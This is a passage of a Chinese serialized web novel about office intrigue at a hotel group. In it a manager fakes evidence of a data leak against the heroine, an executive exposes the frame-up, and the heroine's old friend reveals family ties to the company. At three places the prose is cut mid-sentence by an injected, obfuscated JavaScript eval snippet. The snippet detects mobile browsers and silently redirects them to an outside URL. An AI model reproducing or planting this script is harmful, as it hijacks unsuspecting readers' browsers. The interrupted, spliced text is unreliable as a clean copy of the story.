“威胁？”张宏斌像是听到了什么笑话，冷笑起来，“小陶啊，你还是太年轻了，没明白很多事情不是我威胁出来的，只需要看起来合理就行。就像将来可能发生在你身上，或者你母亲身上的任何不幸，都会有一个合情合理、证据确凿的说法，到时候，你还觉得他会保你吗？” 一股寒意顺着脊椎爬升。 “我知道你找了小应总帮忙，他对你，还真是照顾有加。” “张经理，你监视我！” 陶新柔倒吸一口凉气。 张宏斌又笑了起来：“还需要监视吗？这些事，不是显而易见？你认识什么人，有什么关系，我可能比你更清楚。” 他看着她，眸光里全是透彻：“好好想想吧，我可以再给你一天时间考虑，今天下班前告诉我你的答案，但你要记住，你做出的选择，是要承担后果的。” 张宏斌越威胁，陶新柔反而越坚定，她死死地盯着张宏斌，一字一顿道：“张经理，我不用一天的时间，我现在就可以告诉你，我的答案是：不、可、能。” 说完，陶新柔便气势汹汹地走出张宏斌的办公室。 “很好，有种！”张宏斌看着发出“砰”得一声的门，恶狠狠地拿起电话，随后语气变得平稳：“应总，她拒绝了。” 电话那头沉默了片刻，随后冷哼：“看来他们已经联手了，不识抬举，那就按预备方案办，让她自然地犯个错。记住，要快，别让人有机会插手的机会。” “是，我明白。” 张宏斌眼中闪过狠色。 所谓的预备方案，他早已策划周全。 只要伪造陶新柔泄露酒店VIP客户隐私信息给外部营销公司，并收受好处费的证据，一切就能圆满。 张宏斌通过内线把秘书叫来，低声吩咐：“把我们准备好的那份VIP客户需求文档，加密等级调低一级，找个合适的时机，疏忽地留在陶新柔能接触到的公共文件服务器上，访问记录要做成她自己违规下载的样子。” “还有，安排老陈明天下午，在公司大楼后面的咖啡馆，偶遇陶新柔。老陈知道该怎么说怎么做，只要把监控的模糊影像和交易暗示截取下来就好。” 秘书心领神会，立刻去办。 张宏斌点燃一支烟，眯着眼看着窗外。 这个可怜的女孩还不知道会发生什么，以为攀上了应景晟就能拥有帮助她父亲翻身的机会，可惜她想错了，他有的是办法和手段让她浑身是嘴也说不清。 到那时，她自身难保，还谈什么查旧案，只能任他揉捏。 * 走出张宏斌办公室，要说陶新柔不心慌是不可能的，但她也决不能把自己的软肋交给敌人。 电梯里，她没有按动数字，那个39层的按键被她看了好久。 她还没有把这件事告诉应景晟，倘若他知道，他会怎么做？会把她保护起来吗？还是任由张宏斌为所欲为。 陶新柔想了想，他们现在除了同事和上下级关系外，什么都不是，甚至连房东和租客也只是一个勉强的关系。 她闭上眼按下20楼，消防通道是此刻最好的去处。 那里人少，清净，是想明白事最好的地方。 只是刚走下两层，下方楼梯转角处，一个颀长挺拔的身影伫立在那儿，缓缓抬起头看她。 “小应总？你怎么在这儿？”陶新柔脚步猛地顿住。 只见应景晟依靠着栏杆，午后稀薄的光线从楼梯间的窗户斜射进来，在他轮廓分明的侧脸上投下明暗交错的光影。 他微微抬眸，没有直接回答她的问题：“脸色这么差，怎么了？” “没、没什么，我就是出来透口气。” “阿姨的病情怎么样了？”他问。 “医生开了药，多休养就好，谢谢小应总关心。” 陶新柔手攥着衣角，明明有话却说不出口。 “那个……我还有事要忙，我先走了。” 她逃也似的离开，留下应景晟藏在背后的档案。 那是他刚从王安然那儿得到的陶父当年在分公司的部分工作记录，却没成想撞见她神色慌张地从消防通道下来。 应景晟收起档案，眉峰微蹙。 他太了解陶新柔的性子，看似软弱，却从不轻易露怯，什么事都会冲在前面，但刚才的表现，却让他起了疑心。 或许张宏斌已经拿她母亲的安危作为要挟。 他拿起手机，给王安然发去一条消息：“密切留意张宏斌及其秘书的动向，尤其是他们近期的文件操作和人员安排，有任何异常，立刻汇报。” * 几天后的早晨，陶新柔刚到工位，还没来得及打开电脑，魏浩就脸色凝重地走到她面前：“陶新柔，你到我办公室来一趟。” 陶新柔心头一跳，下意识地想到了张宏斌，心底的不安瞬间涌上，却还是强装镇定，起身跟着魏浩走进了主管办公室。 魏浩不多说话，而是将一份文件直接推到她面前：“你自己看看，这是怎么回事？OA上显示你下载了一份VIP客户的需求文档，并且已经泄露给了对方公司。” 陶新柔拿起文件，目光快速扫过上面的内容，下载记录、文档泄露的截图，还有标注着她名字的操作痕迹，每一项都证据确凿。 “魏主管，不是我，我从来没有下载过这份文档，更没有泄露什么客户信息，我甚至都不知道这份VIP文档的存在，这一定是误会。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不好意思啊，魏主管，我正想因为这件事来调查一下呢，刚在门口听到了几分，忍不住就进来了，这件事可不是小事啊，弄不好会影响集团的声誉啊。” 张宏斌一来，魏浩急忙起身恭迎。 “张经理，您怎么来了，我正在调查这件事呢。” “我也是刚听说了这件事，想着第一时间赶紧来‘灭火’，万一被小应总听到，可不是个好消息，毕竟他刚上任没多久，就出了泄密事件，你让总部怎么看他。”他转头继续面对陶新柔，语气带着几分假意的惋惜，“小陶啊，这件事不是你说误会就是误会的，现在证据确凿，你有可以反驳的证据吗？” 陶新柔捏紧手掌，这件事来的突然，她根本没有任何防备，现在让她去那儿找证据。 张宏斌摆明了就是要让她吃瘪。 见陶新柔不说话，张宏斌又朝她走近了几分道：“念在你干事利落，为人老实的份儿上，说出为什么要泄露公司的内部资料，或许我可以向小应总求求情，网开一面，否则，别怪我向总部汇报！” “张经理，我再说一遍，这件事不是我做的。” 陶新柔气得浑身发抖，她清楚地知道，这就是张宏斌搞的鬼，是他因为自己的拒绝，故意栽赃陷害她。 “是不是你做的，不是你说了算的，证据确凿，你的违规下载记录、登陆账号，监控记录，都能证明是你泄露的。这件事，我看还是直接处理了，到时候直接把结果汇报给小应总。” 魏浩闻言，也叹气地点了点头：“张经理说得对，这件事性质太严重了，小陶，今天你就不要工作了，先回去吧，等结果汇报给小应总之后再说。” 此刻，张宏斌的脸上已然勾起一个狡黠的弧度。 陶新柔握紧拳头，咬牙切齿地看着张宏斌。 看来他们可以在应景晟眼皮底下做任何事，而她，什么锅都可以被迫背上。 “谁要找我？”一个清冽而熟悉的声音自身后响起。 众人回头看去，原来是应景晟带着王安然来了。 25. 第二十五章 “小应总，您怎么亲自来了？”魏浩更是紧张，连忙从办公桌后绕出。 还不到半小时，两位经理都大驾光临了他的办公室，看来这件事的严重程度不亚于火星即将撞地球。 见魏浩恭敬地站着，应景晟又挑眉：“我刚开完会，正好路过，说吧，有什么事情要找我？” 路过？10楼离39楼可一点也不顺路。 陶新柔心里闪过这个念头，却见应景晟已经自顾自地走到了魏浩的办公椅旁，十分自然地坐下了。 魏浩连忙将事情陈述了一遍，又把OA异常下载记录、文件泄露风险，以及那份铁证如山的监控视频交给应景晟看。 陶新柔急得想开口，却被应景晟抬手止住。 “这就是你们说的证据？”应景晟问。 张宏斌愣了一下才回答：“是啊小应总，证据链很完整，我们也是为了公司利益和声誉着想，不得不严肃处理。” “可我怎么觉得监控上像是拼接的呢？” 张宏斌“啊”了一声，随即义正辞严，“小应总，这是原始监控，咖啡厅提供的，怎么可能是拼接？如果您不信，我可以让咖啡厅再调一份完整的监控过来。” “这倒不必了，不过我看这男的，怎么像是在打电话？而且陶新柔说的话，也不是对他说吧？”应景晟扭头看向张宏斌，“张经理，你怎么看这件事？” 张宏斌尴尬地擦了擦额头的汗，但还是嘴硬道：“小应总，您要不要再调查一下？我看着陶新柔就是跟这个黑衣男说话呢。” “是吗？那我们来看这个OA下载记录，时间显示是前天下午4点37分，陶新柔，你前天下午这个时间在干嘛？” 陶新柔一个激灵，立刻大声回答：“报告小应总，那个时间我刚准备下班，就遇上行政部的李楠楠找我来签线上采购确认单，她说她电脑好像有问题，让我帮忙登录我的账号操作一下，我操作完还没退出，她就抱着电脑跑了，后来魏嘉信来了，说魏主管让我去咖啡厅拿饮料帮忙。” “魏浩，有这回事吗？” 应景晟抬眼看向魏浩，魏浩点点头：“没错，是我让她去的。” 应景晟了然后又道：“安然，去把行政部的李楠楠叫来。” 片刻后，李楠楠抱着笔记本电脑慌慌张张地走进来，看到应景晟面色大惊，把笔记本一合，90°鞠躬：“小应总，我错了。” 几个人都一愣，应景晟问：“哪儿错了？” “我不该抱着笔记本进来问候您。” …… 王安然戳了戳李楠楠，让她直起身子。 “你这个笔记本是天天走哪儿抱哪儿吗？”应景晟又问。 “是的，小应总，因为行政部的工作需要，我哪怕上厕所都得抱着，这……这也是没办法。”李楠楠眼神飘忽，生怕得罪哪个领导。 “我问你，陶新柔是不是用你的电脑上过OA？” 李楠楠立刻回应：“是是是，上次客户部需要采购东西，是陶新柔提交的，但是东西比较紧急，财务说必须在这天走完所有流程，可他们提的时候都快下班了，我没办法才来找她登陆的。” 说着又想起什么：“哦，对了，还有，财务总监说让陶新柔直接登录，他们顺便看看源头有没有问题，有就直接改了，这我跟陶新柔说过。” 陶新柔点点头，当时她也没多想。 “所以时间线上，有人利用李楠楠忙碌，临近下班节点，用那台电脑下载了文件。地点上，咖啡厅的接头，不过是个莫名其妙的对话，张经理，你不觉得应该先把这个黑衣男调查清楚是谁吗？” “这……”张宏斌深色恍惚，显然不知道怎么回答了。 “还有，陶新柔既然是我们酒店的人，我们应该选择相信自己人，而不是因为一点事就不明黑白地造谣，张经理，这件事我觉得你有很大的责任。” 应景晟起身，把那些所谓的证据甩进张宏斌怀里，目光灼灼地盯着他，看得张宏斌只能低着头不敢说话。 “这……小应总，应该是个误会，是我没查清楚，看来泄密的一定另有其人，我这就去找是谁泄密的！”张宏斌拍了自己一巴掌，又想赶紧溜之大吉。 “等等，你确定真的泄密了吗？这份文件，我让安然查了所有数据，根本没有人下载过。” “这……”张宏斌说不出话来。 他没想到应景晟会来得这么快，更没想到他会以这种近乎拆乐高一样轻松随意、却又刀刀见血的方式，把他在短时间内匆忙布置的、看似严密的证据链，拆解得七零八落。 “这事有点意思。”应景晟站起身，居高临下地看着张宏斌，“不过也提醒我了。安然，通知安全部，把所有的涉密文件都加高一个等级，还有咖啡厅的监控原始文件和那个时间段前后的监控，都好好看一遍，到底是谁想诬陷我们的员工。” “是！”王安然领命，却让张宏斌的心沉到了谷底。 “至于你，陶新柔，以后做事都要谨慎点，别被人抓住了把柄，长个记性。” 应景晟说的随意，但侧面当众表示了，陶新柔是我罩的人。 “是！谢谢小应总！”陶新柔的嘴角向上扬起。 * 陶新柔回到工位，脸上的笑还没完全收住。 张宏斌那副吃瘪的样子实在是太好笑了，她能反复回味一整天。 但笑着笑着，她又开始发愁。 人情债越积越多了。 第一次，他帮她出主意对付张宏斌；第二次，他帮她妈挂号；第三次，他直接从天而降，把她从“泄密嫌疑人”的坑里捞出来。 三次了。 再这么欠下去，她怕是要把下辈子都搭进去。 不行，必须得还一次。 可问题是，还什么？ 她对应景晟的了解，实在是太少了。 只知道他住在她家四个月，房间里除了必需品什么都没有。 他喜欢什么？不喜欢什么？平时有什么爱好？工作之余会做什么？ 一片空白。 陶新柔托着腮，盯着电脑屏幕发呆。 忽然，一个念头冒了出来。 王安然。 他是应景晟的秘书，肯定什么都知道！ 陶新柔眼睛一亮，立刻点开钉钉，找到王安然的对话框。 陶新柔：王秘书，今天的事谢谢你帮忙跑腿叫李楠楠。 王安然：客气了，这是我应该做的。 陶新柔：对了，有个事想请教你一下。 陶新柔：小应总平时工作这么忙，有没有什么特别喜欢的东西或者爱好啊？我想表达一下感谢，但又怕送错东西闹笑话。 按下回车键，她立刻切换成网页，心却扑通扑通跳得厉害。 王安然：？ 陶新柔头皮一麻，赶紧补救。 陶新柔：王秘书您别误会，我不是要打探小应总隐私，就是想着，小应总上午帮了我这么大忙，我总得表示表示，麻烦王秘书给个明示。 王安然：小应总平时没什么特别喜欢的，工作狂一个，唯一的爱好可能就是喝咖啡，他偏好牙买加蓝山，一号庄园的豆子。 随后又把定位发了过来。 了解清楚喜好后，陶新柔便赶去买咖啡，配上简洁的研磨套装，非常实用，他应该……不会拒绝吧？ 但下个问题接踵而至，怎么送？ 在家里送，母亲肯定会看见，少不得要问东问西，思来想去，陶新柔决定挑个适当的时间在公司里送。 于是她又联系了王安然，很快得到今晚应景晟要加班的消息。 傍晚时分，总部大楼逐渐安静下来，陶新柔握紧手中那个装着咖啡豆和研磨套装的素雅纸袋，抵达39楼。 王安然见到她，只是公事公办地点了下头："小应总还在，直接进去吧，时间别太长。” “谢谢王秘书。”陶新柔点点头，走到门口敲门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303358|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “进。”冰冷的声音从里面传出来。 她推门而入。 “小应总，打扰您了。” 应景晟抬起头，似乎没料到来的人会是陶新柔。 她浅笑着把东西放在桌上，又后退一步，扭捏着双手道：“我听人说您的咖啡缺货了，就随手买了点咖啡豆，不知道合不合您的胃口。” 应景晟疑惑，又看了眼陶新柔放在桌上的咖啡包装：“牙买加蓝山，一号园，你是怎么知道的？”他念出标签上的小字，抬眼看向她。 陶新柔心下慌神，她可不能出卖王安然：“顺路买的，也不是什么很贵重的东西。”她小声辩解。 “顺路？他家店离我们这里最少也得三公里吧？”应景晟试图从陶新柔的表情里找出破绽。 灯光下，他明眸冷色，看得陶新柔都不敢直视他了。 “真的就是路过，刚好出去办点事，嘿嘿嘿。”她撇开视线。 应景晟也不再为难她：“行吧，正好咖啡缺货了，你来的很及时。” 说完把袋子放去了一边。 看着他的动作，陶新柔舒了口气，悬着的心终于落下一点。 “那我不打扰您了，小应总您忙。”她结结巴巴地说着，准备撤退。 “等一下。”应景晟叫住了她，“你只是为了送咖啡才来的？” 陶新柔脚步一顿，又紧张地回头：“对啊，没其他想法。” “确定不是因为上午的事？” 应景晟看着她，陶新柔急忙辩解：“不是不是，当然上午的事也要谢谢您。” “他们那点小儿科伎俩，一眼就能看穿，你好好工作就行，对了，这个给你。” 只见应景晟拉开抽屉，拿出一个印着某高端酒店logo的精致纸盒，推到她面前：“你专程来送东西，我也不能白收，楼下甜品部今天试新品，多了一份，听说女孩子都喜欢这种。” 陶新柔愣住了。 那个盒子一看就价值不菲。 他真的要给她？ “这怎么好意思……”陶新柔她看着那盒甜品，又看看他，手足无措。 “礼尚往来。”应景晟淡淡地说，“还是说……你不喜欢？”应景晟把袋子又递过去几分。 “喜欢，当然喜欢。”怎么敢对总裁送的东西说不喜欢。 她扯出一个尽可能自然的笑容，赶紧接过桌上的袋子，两人指尖相处。 只一瞬间，一些画面又传了过来—— 夜晚的总裁办公室，灯火通明，应景晟站在落地窗前，背影挺拔却透着孤峭，眉眼审视般地看着街头的霓虹。 而他的手上，拿着一份深蓝色封皮的文件，上面写着“秘密档案”的字样。 他唇角一勾，自言自语道：“这下，看你还怎么抵赖。” 随后，他打开资料，上面赫然写着“2009年陶海振出车记录……死亡确认时间：2009年6月3日22:17”。 画面一闪，与眼前应景晟平静无波的脸瞬间重叠。 陶新柔震惊地看着应景晟面带笑容地看着她。 那个笑容虽然与平时的笑没什么区别，但陶新柔仿佛从里面读出了阴森、隐藏、秘密等词汇，让她脊背发寒。 他在查她父亲的事情？ 他为什么要查她父亲的事？ 还是说，他在阻止她查，所以要先一步把这些事调查清楚？ 他对她真的好吗？ …… 陶新柔停不下来脑中纷飞的思绪，连手上的动作也停顿住了。 “怎么了？不喜欢吃马卡龙吗？” 见她骤然惨白的脸色和僵在半空忘了接过盒子的手，应景晟微微蹙眉。 “不、不是，没……没什么，谢谢小应总，我先走了。” 陶新柔猛地惊醒，像被烫到一样缩回手，又慌乱地一把抓过马卡龙盒子抱在怀里。 她不敢再多看他一眼，几乎是踉跄着夺门而出。 26. 第二十六章 而她的表情，被他尽收眼底。 她为什么会是那种反应？是因为他追问了咖啡豆的来源？还是在他拿出马卡龙之后？又或者……是更早的时候？ 虽说通过这段时间的观察，应景晟觉得陶新柔除了想替父亲洗冤外并无二心，但他还是觉得陶新柔在某些方面过于机灵。 甚至在一开始接触他时，就对他有特别的戒备心。 就像刚才，她明明还欢天喜地的，忽然就变得十分怕他。 他突然想起那天在门口听到她与母亲的对话，说起她有预知能力。 难道，她真的有预知未来的能力？ 她到底看到了什么？ 应景晟忽然有点烦躁。 他不喜欢失控的感觉。 但现在，他面对的是一个拥有预知能力的人，她能看到他不知道的东西，能提前知道他会做什么，这种感觉让他很不舒服。 应景晟瞬间脸色冷青，这时王安然敲门走了进来。 “小应总，查到那天陶新柔与张经理的对话了，张经理许诺她可以告诉她父亲死亡的真相，但要她取得你的信任，并要提供给他他想要的。” “她没答应。” “是的。” 应景晟靠向椅背，分析道：“她没答应张宏斌，至少说明两点，她对父亲的执念虽深，但有底线，不愿以背叛和伤害他人为代价；还有，她对云麓内部的暗流，尤其是张宏斌，抱有极大的不信任甚至恐惧。” 他自言自语完，又猛地直起身子：“继续盯紧张宏斌，另外，去查两件事，第一，查一下陶新柔这个人从小到大的生活轨迹，有没有什么特殊经历，被亲戚朋友提到过。” 王安然的手指停在手机屏幕上，抬头看向应景晟：“小应总，您的意思是……” “你先别管我什么意思，去查就是；第二，查她父亲，陶海振怎么去世的，遇到过什么，死前跟谁有过节，我要全部细节。” “您怀疑陶海振有问题？” 应景晟没有回答，而是在想陶新柔看到了什么，是不是跟她父亲有关。 王安然心头一凛，立刻肃容：“是，小应总，我这就去办。”他又瞥了一眼桌上的那袋咖啡，心中了然。 看来，这份突如其来的感谢，并没有换来信任，反而触发了更深层的警觉。 * 与此同时，走出酒店大楼的陶新柔，手里拎着那袋马卡龙，心不在焉，顿时有几个问题在她心中盘旋。 应景晟为什么会查他父亲的案子，什么时候会拿到父亲的死亡记录，他的马卡龙又是从哪儿来的？ 根据陶新柔对应景晟的观察，他不像是一个会吃甜品，会买甜品的人，那么唯一的答案就是应景晟是不是买给女朋友的。 这个问题似乎早就把上一个问题给淹没了，想到这儿，陶新柔的心往下沉了半分。 哎，果然优秀的人早就有对象了。 不过，她跟他也没什么可能吧，两个人毕竟身份相差悬殊。 就在这时，电话铃声将她从纷乱的思绪中拽了出来，屏幕上跳动着一个久违却熟悉的名字——赵思丽。 陶新柔有些意外，又有些欢喜。 赵思丽是她大学时最要好的朋友，家境优渥，性格开朗，毕业后就去了海外深造，两人联系渐少，但偶尔还会聊天。 前段时间赵思丽告诉她要回国的消息，她还开心了好一阵。 她连忙接起，声音都轻快了几分：“思丽？” “新柔！是我！猜猜我在哪儿？”电话那头传来赵思丽充满活力的声音。 “听你这口气……该不会已经回国了吧？” “Bingo！我刚下飞机！怎么样，惊不惊喜，意不意外？”赵思丽笑着，“赶紧的，报坐标，本小姐现在就要见你，好久不见，想死我了！” 陶新柔看了眼手里沉甸甸的马卡龙，又想到刚才在应景晟办公室的惊魂一幕，正需要点温暖的友情来驱散心头的寒意。 “好！你在哪儿？我过去找你。” * 一小时后，两人在市中心一家泰式餐馆见面。 赵思丽几乎没什么变化，依旧明艳动人，只是眉眼间多了几分成熟和沉稳，一见面就给了陶新柔一个大大的拥抱，随后松开她，上下打量。 “新柔，真是想死我了，不过，你怎么看起来一副苦瓜脸？好像刚被老板骂完。” 陶新柔苦笑，拉着她坐下：“别提了，最近是有点不太顺。” “怎么了？工作不顺心？我记得你说在云麓酒店工作对吧？那可是大集团哦。” 两人说着坐下点餐。 “嗯，是，但大集团的麻烦也挺多的，总是被一些喜欢搞派系斗争的人针对。”她没敢说太细，怕让赵思丽替她担心。 赵思丽皱起眉：“派系斗争？这么烦人？哪个部门的？要不要我帮你想想办法？” 陶新柔摇摇头：“别说这个了，说说你吧。” 赵思丽“嗯嗯”两下继续说：“其实我这次回来，是要在C市待一阵子呢。” “你要留在C市？不回你爸妈那边了？” “嗯，家族里有点安排。”赵思丽低下头，明显有什么瞒着陶新柔，忽然靠近她神秘道，“偷偷告诉你，我也会去云麓酒店工作，可能在行政或品牌部那边帮帮忙。” 陶新柔这下是真的惊讶了：“啊？思丽，你怎么也来云麓？帮谁的忙？” 她看过几次赵思丽的未来画面，只知道她家条件很好，父母也特别宠她，不过她从没想了解过别人的秘密。 这下，她是真的惊呆了，没想到赵思丽会和云麓扯上关系。 赵思丽吐了吐舌头，做出一个“抱歉啦”的表情：“哎呀，事到如今，我也不好瞒你了，其实……我妈是应家人。” “应家？”陶新柔一时没反应过来。 “嗯，就是现在掌权云麓的应家，我妈算是集团里的……嗯，不算核心但也不算边缘的人物吧。所以我这次回来，也算是某种程度的家族安排，积累点经验，顺便看看国内的情况。” 陶新柔彻底愣住了，张了张嘴，好几秒才找回自己的声音：“所以……你是说，你是云麓集团的……大小姐？” “哎呀，也不是什么大小姐啦，只是沾亲带故吧。”赵思丽摆摆手，似乎不想把这个身份说得太严肃，“以前没特意说，是觉得没什么必要，家里也没要求我掺和集团的事，但现在要进去了，再瞒着你就不够朋友啦！新柔，我不是故意瞒你的，只是觉得，这层身份有时候挺麻烦的，怕影响我们单纯的friendship，你不会怪我吧？” 陶新柔看着她真诚又带着点忐忑的眼神，心里那点突如其来的冲击和困惑慢慢被暖意取代。 “怎么会怪你？只是没想到世界这么小，你居然是应家的人。” “现在你可是知道我秘密的人了，你要替我保密哦。”赵思丽又做了个“嘘”的动作。 陶新柔笑着点头。 “对了，说到云麓，我听说我那个冰块脸表哥，现在就在那儿当老板？好像还挺厉害？” “表哥？你说的是应景晟吗？” “对啊，他是我三舅的儿子，我表哥，听说他现在把酒店搞得风生水起，在家族里还挺有脸面的。哼，等我进去，我要让他知道知道，我也不是块省油的灯。” 赵思丽撇嘴，提到应景晟仿佛一脸不喜欢他的表情。 陶新柔彻底呆住了，那她以后在酒店里，不就是正经的关系户了？ 赵思丽还在说着：“你知道吗？我那个表哥，从小就性格刻板，做事较真的要命，一点儿人情味都没有，我这次回来，我妈还让我有空去看看他，给他带点东西。唉，想想就头大，跟那种人吃饭得多无趣啊，我直接就给他送了个甜品过去意思意思。” 说到这里，陶新柔的心里有点什么冒了出来。 “你表哥喜欢吃甜品吗？” “管他喜不喜欢呢，反正我把该办的事办了就行。”赵思丽说着，又叹了口气，“哎，想到以后工作中还得看他脸色，我就心情不好，新柔，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314727|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会也是因为这件事烦恼吧？” 陶新柔摇摇头：“不是，是其他人。” “那就好，等我过去了，我帮你多留意着，那些搞小动作的人，我最看不惯了。有机会我也跟我表哥说说，让他多关照关照你，他再怎么冷脸，也得给我个面子吧。” 陶新柔笑笑：“其实你表哥人还挺好的。” “真的吗？我还是第一次听别人说我表哥人好，他没欺负你就好，要是他欺负你，你一定要告诉我。反正你记住，以后在云麓，有我在呢！”赵思丽拍了拍胸脯，又想起什么，“对了，我刚才看你拿着这袋甜品，跟我送给我表哥的一样，你是溜班偷偷去买的吗？” “啊？” 陶新柔愣了一下，所以她刚才想的是正确的？ 陶新柔脸色瞬间染上红晕，怪自己刚才还想应景晟是不是有女朋友的事。 她急忙调转话题：“啊，是啊，我听说这家店甜品很好吃，就去买了。” “哇，没想到你消息挺灵通的，这家店在英国很火呢，正好我听说C市开了，就给我表哥买了一份过去尝尝鲜。” 原来是这样，一切就都说的通了。 可应景晟把赵思丽给他的礼物送给她，这事就有点…… 她可不能让赵思丽知道她送给应景晟的东西在她手上。 赵思丽还在滔滔不绝地说着，陶新柔已经思绪满天飞了。 现在他们的关系不仅复杂，还有一丝别的意味？ 如果赵思丽知道她和应景晟不仅认识，还正以房东和租客这种匪夷所思的方式同住一个屋檐下，会怎么想？ 两人正在聊着天，赵思丽的手机就响了，陶新柔无意间瞥了一眼屏幕，看到“应景晟”三个字。 “我表哥打电话来了。”赵思丽撇了撇嘴，按下了接听键，语气骄蛮敷衍：“喂？表哥？” “东西不是让司机给你送过去了吗？……马卡龙啊，就楼下那家新开的，英国牌子，你不是爱吃甜的嘛，我就随便买点意思意思……啊？你不爱吃啊？那随便吧，你自己看着办，反正东西我送到了。”赵思丽漫不经心地回答着，用叉子戳着盘子里的虾片。 “下周一是吧？行，我准时去报到……宣传部品牌推广岗？哦，好吧，听安排……什么？你已经知道了？谁那么多嘴……啊？王安然？他消息也太灵通了吧！”她撇撇嘴，有点不爽，“行行行，你是总裁你厉害。……见面？再说吧，看我心情，刚回来累死了……哎呀，知道啦，不会给你丢人的，挂了挂了！” 挂了电话，赵思丽才长长地舒了一口气，对着陶新柔撇撇嘴，一脸嫌弃：“你看，我就说吧，这个人刻板又较真，连我哪天报到，去哪个岗位都非得安排得明明白白，还让王秘书盯着，感觉一点自由都没有。” “他可能只是关心你吧。” “才不是，他就是试探我，他可精着呢，不说他了，吃完我们再去逛逛吧。” 另一边，应景晟挂了电话，眉头紧锁。 刚才王安然匆忙进来汇报，说陶新柔前往了一家泰式餐厅，而跟她碰面的人正是表妹赵思丽。 他急忙打了个电话过去确认赵思丽的情况，虽然前几天已经收到消息说赵思丽要来云麓工作，他本来还没觉得什么，但现在似乎有点什么在发酵。 她竟然跟陶新柔认识。 “小应总，陶小姐和赵小姐刚在泰式餐厅吃完饭分开了，陶小姐已经坐上出租车回家了，赵小姐也被家里的司机接走了，全程没有异常接触，还需要盯着陶小姐的后续动态吗？” “继续盯着。” “是。” 王安然领命出去，留下应景晟还坐在桌前拿着一支笔敲击，一下又一下，仿佛与脑子里思考的关于陶新柔的一切交织在一起。 他并非真的怀疑陶新柔有什么目的，只是她的身世、她查父亲旧案的目的，还有她与赵思丽的好友关系，让他不得不重新审视她。 似乎原本建立的一点信任感，在此刻又面临了崩塌。 或许他还得再观察观察。 27. 第二十七章 周一这天，陶新柔起来时没有看到应景晟，母亲说他早就离开了。 原本两人再怎么不碰面，上班时间也都差不多，但今天早早离开，让她有点匪夷所思。 或许是思考的时间太久了，等她来到公司的时候，距离上班打卡时间就剩一分钟了，她一路小跑打上卡，堪堪赶上，松了口气的同时，也有些口干舌燥，便转身往茶水间走去，打算倒杯温水缓一缓。 茶水间里有几位同事，正在等咖啡，陶新柔走过去倒着热水，听到他们闲聊。 “就那个应家四小姐啊，听说她也来咱们酒店了呢，好像在宣传部，今天刚到。” “啊？怎么她也来了啊，咱们这酒店是什么重要场所吗？怎么应家人一个两个都要来酒店走一遭。” “当然啦，酒店要做事最方便了，总部不想要的人丢在酒店，总部最想锻炼的人也丢在酒店，要不怎么总说云麓的酒店最鱼龙混杂呢。” “那这应家四小姐脾气怎么样啊？不会跟那个三少爷一样吧？” “好像还挺热情的，一进门就说自己是来实习锻炼的，倒不是个冷漠的主。” …… 几个人正聊着，茶水间的门打开了，只见赵思丽捧着几包咖啡豆和研磨机走了进来，身后还跟着宣传部部长张德胜，殷勤道：“哎呀，四小姐，您怎么能亲自做这些事，您告诉我就好了。” 赵思丽头也不回，径直把东西放在茶水间内，冲着几个正在等咖啡的同事说：“大家好呀，我是新来的赵思丽，这是一点见面礼，你们别客气，想喝就拿。” 说着视线又转到陶新柔身上后，冲她眨了眨眼：“这位同事，你要不要也尝尝？” 陶新柔神情恍惚，仿佛回到了当年大学时，赵思丽也是这样大大咧咧地跟室友们自我介绍。 刚才还在说闲话的同事们看到她立刻回避眼神，点头离开了。 只有张德胜一边擦汗，一边还在担忧会得罪赵思丽：“四小姐，您有事吩咐我就好了，这些东西我来放，我来放。” 但赵思丽却觉得张德胜太啰嗦了，她皱起了眉头，不让张德胜碰她带来的东西：“部长，我是来工作的，今天是我第一次上班，我给同事们带点见面礼不是很正常吗？我只是普通同事，别大惊小怪的。” 张德胜尴尬又不失礼貌地笑了笑，不知怎么回答。 他看了眼陶新柔，又看了看赵思丽，只好对陶新柔道：“你怎么没点儿眼力见啊，快帮新同事摆摆东西。” 陶新柔放下杯子，准备帮赵思丽摆咖啡豆，却不料赵思丽回头瞪了张德胜一眼：“部长！你不要对员工这么凶啊，看起来就很可怕！还有，我再说一次，我只是普通同事，我等下就会回去工作，DOYouUnderstand？” 张德胜张了张嘴，不知道该说些什么，这才不情不愿地离开，茶水间里瞬间就剩下他们两人。 茶水间一空，赵思丽就凑了上来，抱着陶新柔的胳膊晃动。 “新柔，太好了，以后我们就能在一起工作了！没想到云麓对员工还挺好的，这茶水间真大，你要喝咖啡吗？这个品种的咖啡豆特别香，你等我给你做一杯。” 赵思丽环视了一圈，又拉着陶新柔开心地研磨咖啡。 反倒是陶新柔觉得很不适应：“思丽，你这么高调入职，不怕他们在背后说你闲话吗？” “怕什么？”赵思丽满不在乎，拿起一个干净的杯子开始摆弄研磨机，“我就是我呀，该怎么样就怎么样，遮遮掩掩的才奇怪呢，再说了，以后我要慢慢让他们知道，你是我罩着的人，这样看谁还敢欺负你。” 